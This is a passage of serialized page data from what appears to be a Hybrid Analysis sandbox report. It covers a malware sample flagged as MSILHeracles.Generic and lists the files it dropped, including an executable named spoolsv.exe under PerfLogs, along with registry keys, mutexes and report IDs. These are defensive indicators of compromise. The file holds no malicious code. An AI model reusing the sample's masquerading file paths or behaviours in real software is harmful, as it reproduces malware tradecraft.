Shared\\OfficeSoftwareProtectionPlatform\\OSPPOBJS\\1610b97d3ab4a74cd8ae104b51bea7bfcc5b9c6f","sources":[{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"path":"C:\\PerfLogs\\Admin\\spoolsv.exe","sources":[{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"path":"C:\\PerfLogs\\Admin\\f3b6ecef712a24f33798f5d2fb3790c3d9b894c4","sources":[{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{846EE342-7039-11DE-9D20-806E6F6E6963}","sources":[{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{18FB5134-68E3-46E1-B34C-2894DA22A3DA}","sources":[{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]}],"files_deleted":null},"registry_activity":{"keys_created":[{"key":"HKLMHKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\TIMEZONEINFORMATION\\","sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"},{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\WBEM\\CIMOM\\","sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"},{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\TRACING\\","sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"},{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\TRACING\\MOBSYNC_RASAPI32\\","sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\TRACING\\OSPPSVC_RASAPI32\\","sources":[{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]}],"keys_modified":null,"keys_deleted":null},"mutex_activity":{"mutex_created":[{"name":"\\Sessions\\1\\BaseNamedObjects\\Global\\CLR_PerfMon_WrapMutex","sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\a8e83276d80e5deb5e45080c8142f7c203b96267","sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"},{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"},{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesLockedCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"},{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"name":"Global\\CLR_PerfMon_WrapMutex","sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"}]},{"name":"Local\\ZonesCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"},{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"name":"a8e83276d80e5deb5e45080c8142f7c203b96267","sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"},{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"name":"Local\\ZonesLockedCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"},{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\RasPbFile","sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"},{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"name":"RasPbFile","sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"},{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]}]}},"report_ids":{"sandbox_job_ids":["6759ecb09442f711d5090e22","6759ec16197d5645e803bd40"]}}}]]}] 1e:null 22:[["$","title","0",{"children":"Malicious MSILHeracles.Generic Sample aa7a05956ca4… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","1",{"name":"description","content":"Malicious verdict for sample aa7a05956ca4…. Malware family: MSILHeracles.Generic. Threat score 100/100. 16/25 AV engines flagged this file. 16 malicious and 15 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","2",{"name":"robots","content":"index, follow"}],["$","link","3",{"rel":"canonical","href":"https://www.hybrid-analysis.com/sample/aa7a05956ca47e164a10a94d0bdbe01123b84eb01fad5e581e1e72b10d93d5a9"}],["$","meta","4",{"property":"og:title","content":"Malicious MSILHeracles.Generic Sample aa7a05956ca4… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","5",{"property":"og:description","content":"Malicious verdict for sample aa7a05956ca4…. Malware family: MSILHeracles.Generic. Threat score 100/100. 16/25 AV engines flagged this file. 16 malicious and 15 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","6",{"property":"og:url","content":"https://www.hybrid-analysis.com/sample/aa7a05956ca47e164a10a94d0bdbe01123b84eb01fad5e581e1e72b10d93d5a9"}],["$","meta","7",{"name":"twitter:card","content":"summary"}],["$","meta","8",{"name":"twitter:title","content":"Malicious MSILHeracles.Generic Sample aa7a05956ca4… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","9",{"name":"twitter:description","content":"Malicious verdict for sample aa7a05956ca4…. Malware family: MSILHeracles.Generic. Threat score 100/100. 16/25 AV engines flagged this file. 16 malicious and 15 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","link","10",{"rel":"icon","href":"/favicon.svg"}],["$","$L55","11",{}]]